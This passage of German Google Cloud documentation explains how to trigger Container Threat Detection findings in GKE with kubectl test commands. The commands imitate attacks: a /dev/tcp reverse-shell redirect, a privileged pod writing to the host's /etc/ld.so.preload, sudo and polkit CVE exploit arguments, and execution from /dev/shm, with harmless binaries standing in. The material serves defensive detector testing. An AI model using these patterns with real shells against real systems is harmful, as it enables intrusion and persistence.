            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
      

Dieses Testverfahren löst ein Ergebnis vom Typ „Malicious URL Observed“ aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Persistenz: ld.so.preload ändern (Vorschau)

Wenn Sie eine Erkennung von Änderungen an ld.so.preload auslösen möchten, ändern Sie die Datei /etc/ld.so.preload des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts im Container bereitgestellt und dann /etc/ld.so.preload aktualisiert.

Dies ist ein Detektor für das Dateimonitoring und unterliegt spezifischen GKE-Versionsanforderungen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei aus, die die /etc/ld.so.preload-Datei des Hosts ändert.

    • x86-Knoten:

      tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • ARM-Knoten:

      tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Dieses Testverfahren löst ein Ergebnis für eine ld.so.preload-Änderung aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus, um ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Ergebnis auszulösen. In diesem Beispiel wird die Binärdatei /bin/ls kopiert, um die Binärdatei sudo zu imitieren, und mit dem angegebenen Parameter ausgeführt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    • x86-Knoten:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
      

Bei diesem Testverfahren wird ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: dateilose Ausführung in /dev/shm

Damit ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis ausgelöst wird, muss ein Prozess über das In-Memory-Dateisystem /dev/shm ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/echo wird nach /dev/shm/echo kopiert. Diese umbenannte Binärdatei wird dann ausgeführt. Die Ausführung einer Datei unter /dev/shm wird als verdächtig gekennzeichnet, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Erstellen Sie einen privilegierten Container und führen Sie ein Programm aus einem speicherinternen Dateisystem aus:

    • x86-Knoten:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \
         "$tag"
      
    • ARM-Knoten:

      tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag"
      

Bei diesem Testverfahren wird ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Wenn Sie ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Ergebnis auslösen möchten, führen Sie eine pkexec-Binärdatei mit der Umgebungsvariable GCONV_PATH als Nicht-Root-Nutzer aus. In diesem Beispiel wird die Binärdatei /bin/ls kopiert, um die Binärdatei pkexec zu imitieren, und mit dem angegebenen Parameter als Nutzer-ID 1000 ausgeführt.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    • x86-Knoten:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }, "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
      

Bei diesem Testverfahren wird ein Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Wenn Sie ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Ergebnis auslösen möchten, führen Sie die Binärdatei sudo als Nicht-Root-Nutzer mit dem Parameter -s und einem Parameter aus, der mit \`. This example copies the/bin/lsbinary to imitate thesudo` endet, und führen Sie sie mit den angegebenen Parametern aus.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    • x86-Knoten:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 }}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      
    • ARM-Knoten:

      tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": {
         "securityContext": { "runAsUser": 1000 },
         "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
      

Bei diesem Testverfahren wird ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Reverse-Shell-Angriff

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit einer stdin-Weiterleitung an einen TCP-verbundenen Socket. In diesem Beispiel wird /bin/echo nach /tmp/sh kopiert und dann /tmp/sh mit Weiterleitung an das Google Public DNS 8.8.8.8 auf dem DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. Um die Einschleusung von externem Code durch einen Man-in-the-Middle-Angriff (MITM) zu verhindern, wird in diesem Beispiel die Binärdatei /bin/sh nicht verwendet.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

    • x86-Knoten:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • ARM-Knoten:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Bei diesem Testverfahren wird ein Reverse-Shell-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Zum Testen des Detektors Unexpected Child Shell können Sie eine Prozessstruktur erstellen, die einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

  1. Erstellt eine Kopie des Prozesses sh und benennt sie in consul um.
  2. Kopiert den Prozess echo und benennt ihn in dash um.
  3. Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Verwenden Sie den simulierten consul-Prozess, um eine simulierte Shell aufzurufen:

    • x86-Knoten:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag" \
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • ARM-Knoten:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Bei diesem Testverfahren wird ein Unexpected Child Shell-Ergebnis erstellt, das Sie im Security Command Center ansehen können. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie sich das Ergebnis auch in Cloud Logging ansehen.

Zur Rauschunterdrückung filtert Container Threat Detection beim Erstellen eines Containers vorübergehend unerwartete untergeordnete Shells heraus. Wenn Sie alle Ergebnisse für „Unerwartete untergeordnete Shell“ beim Einrichten eines Containers sehen möchten, stellen Sie dem Container- oder Pod-Namen ktd-test voran, wie im Beispiel gezeigt.

Nächste Schritte